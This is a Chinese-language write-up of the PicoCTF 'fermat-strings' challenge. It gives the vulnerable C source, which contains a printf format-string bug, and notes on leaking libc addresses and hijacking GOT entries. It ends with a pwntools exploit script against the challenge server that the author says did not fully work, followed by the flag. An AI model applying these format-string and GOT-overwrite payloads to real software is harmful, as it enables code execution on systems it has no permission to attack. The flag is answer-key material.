# PicoCTF - fermat-strings ## Background [C 庫函數 - strcspn()](https://www.runoob.com/cprogramming/c-function-strcspn.html) > 該函數返回 str1 開頭連續都不含字符串 str2 中字符的字符數。 [atoi() - C語言庫函數](http://tw.gitbook.net/c_standard_library/c_function_atoi.html) > 這個函數返回一個int值轉換的整數。如果冇有有效的轉換可以執行,它返回零。 [C 库函数 - snprintf()](https://www.runoob.com/cprogramming/c-function-snprintf.html) > snprintf() 函數的返回值是輸出到 str 緩沖區中的字符數,不包括字符串結尾的空字符 \0。如果 snprintf() 輸出的字符數超過了 size 參數指定的緩沖區大小,則輸出的結果會被截斷,只有 size - 1 個字符被寫入緩沖區,最後一個字符為字符串結尾的空字符 \0。 > >需要注意的是,snprintf() 函數返回的字符數並不包括字符串結尾的空字符 \0,因此如果需要將輸出結果作為一個字符串使用,則需要在緩沖區的末尾添加一個空字符 \0。 [Format Specifiers in C](https://www.geeksforgeeks.org/format-specifiers-in-c/) ## Source code :::spoiler ```cpp! #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <math.h> #define SIZE 0x100 int main(void) { char A[SIZE]; char B[SIZE]; int a = 0; int b = 0; puts("Welcome to Fermat\\'s Last Theorem as a service"); setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); printf("A: "); read(0, A, SIZE); printf("B: "); read(0, B, SIZE); A[strcspn(A, "\n")] = 0; B[strcspn(B, "\n")] = 0; a = atoi(A); b = atoi(B); if(a == 0 || b == 0) { puts("Error: could not parse numbers!"); return 1; } char buffer[SIZE]; snprintf(buffer, SIZE, "Calculating for A: %s and B: %s\n", A, B); printf(buffer); int answer = -1; for(int i = 0; i < 100; i++) { if(pow(a, 3) + pow(b, 3) == pow(i, 3)) { answer = i; } } if(answer != -1) printf("Found the answer: %d\n", answer); } ``` ::: ## Recon 這一題太難了,可以參考的資料太少了,大部分都有一些缺失,而且重點是server那邊的版本和local端不一樣就會造成got hijack失敗,所以最後沒有做出來,但是流程還是可以記錄一下 1. 先leak stack的資訊,例如`__libc_start_main`的address,然後到[^libc_database_search]查詢,光這一點耗費蠻多心力,雖然說只要查看stack上相對的位置,就可以leak出對應的address,但有可能是因為我local端libc version是2.35,所以找不到對應位置上libc address在database上的資料,但在server端卻找得到,這可能是不同版本的鍋,所以之後要找這種libc version的問題,最好是在2.31的地方 2. 得到libc的version後,就可以算offset,得出libc base address,然後就可以得出system在libc的確切位址,又由於這隻程式只會執行一次就結束,所以我們要讓他有loop的效果,作法就是got hijack,改掉pow的got位置為main function的address 註:為甚麼是改pow而不是atoi, snprintf之類的function的got?因為pow是比較後面被呼叫到的function,如果修改那些太早被呼叫到的function就馬上從main開始執行,這樣就沒辦法開shell了 3. 接著我們可以再從第二次的input中開shell,這就是最後做不出來的地方,除了之前沒有寫過相關的題目不知道怎麼開以外,其他WP[^fermat-strings][^picoMini-by-redpwn][^picoMini-by-redpwn-2021-Darin's-Challenges]也都會有其他的問題 ## Exploit ```python! from pwn import * exe = ELF("chall") libc = ELF("./libc6_2.31-0ubuntu9.1_amd64.so") context.binary = exe context.terminal = "kitty" offset___libc_start_main_ret = 0x026fc0 offset_system = 0x0000000000055410 # offset___libc_start_main_ret_local = 0xac0b3c2270 # offset_system_local = 0x050d60 r = remote("mars.picoctf.net", 31929) # r = process('./chall') '''############# leak libc address #############''' payload1 = b'1 %2082c%12$hn ' + p64(exe.got['pow']) payload2 = b'2 %109$p' r.recvuntil(b'A: ') r.sendline(payload1) r.recvuntil(b'B: ') r.sendline(payload2) print(r.recvuntil(b" 2 0x")) return_value = int(r.recv(12).strip(), 16) libc_addr = return_value - 243 - offset___libc_start_main_ret success(f"Return Value = {hex(return_value)}") success(f"libc address = {hex(libc_addr)}") success(f"libc system address = {hex(libc_addr + offset_system)}") # success(f"libc system address = {hex(libc_addr + offset_system_local)}") # success(f"libc address = {hex(libc_addr - offset___libc_start_main_ret_local)}") '''############# Get Shell #############''' # raw_input() third = (libc.sym['system']>>16)&0xff bottom = libc.sym['system'] & 0xffff first = third - 21 second = bottom - third payload1 = f'1 %{first}c%43$hhn%{second}c%44$hn' payload2 = b'2'.ljust(8, b' ') + p64(exe.got['atoi']+2) + p64(exe.got['atoi']) r.recvuntil(b'A: ') r.sendline(payload1) r.recvuntil(b'B: ') r.sendline(payload2) r.interactive() ``` Flag: `picoCTF{f3rm4t_pwn1ng_s1nc3_th3_17th_c3ntury}` ## Reference [^fermat-strings]:[fermat-strings](https://github.com/Dvd848/CTFs/blob/master/2021_picoCTF_redpwn/fermat-strings.md) [^picoMini-by-redpwn]:[picoMini by redpwn](https://heinen.dev/picoctf-2021-redpwn/#fermat-strings) [^picoMini-by-redpwn-2021-Darin's-Challenges]:[picoMini by redpwn 2021 - Darin's Challenges](https://activities.tjhsst.edu/csc/writeups/picomini-redpwn-darin#fermat-strings-pwn) [^libc_database_search]:[libc database search](https://libc.blukat.me/?q=__libc_start_main_ret%3A0x7fa8cf54d0b3&l=libc6_2.31-0ubuntu9.1_amd64)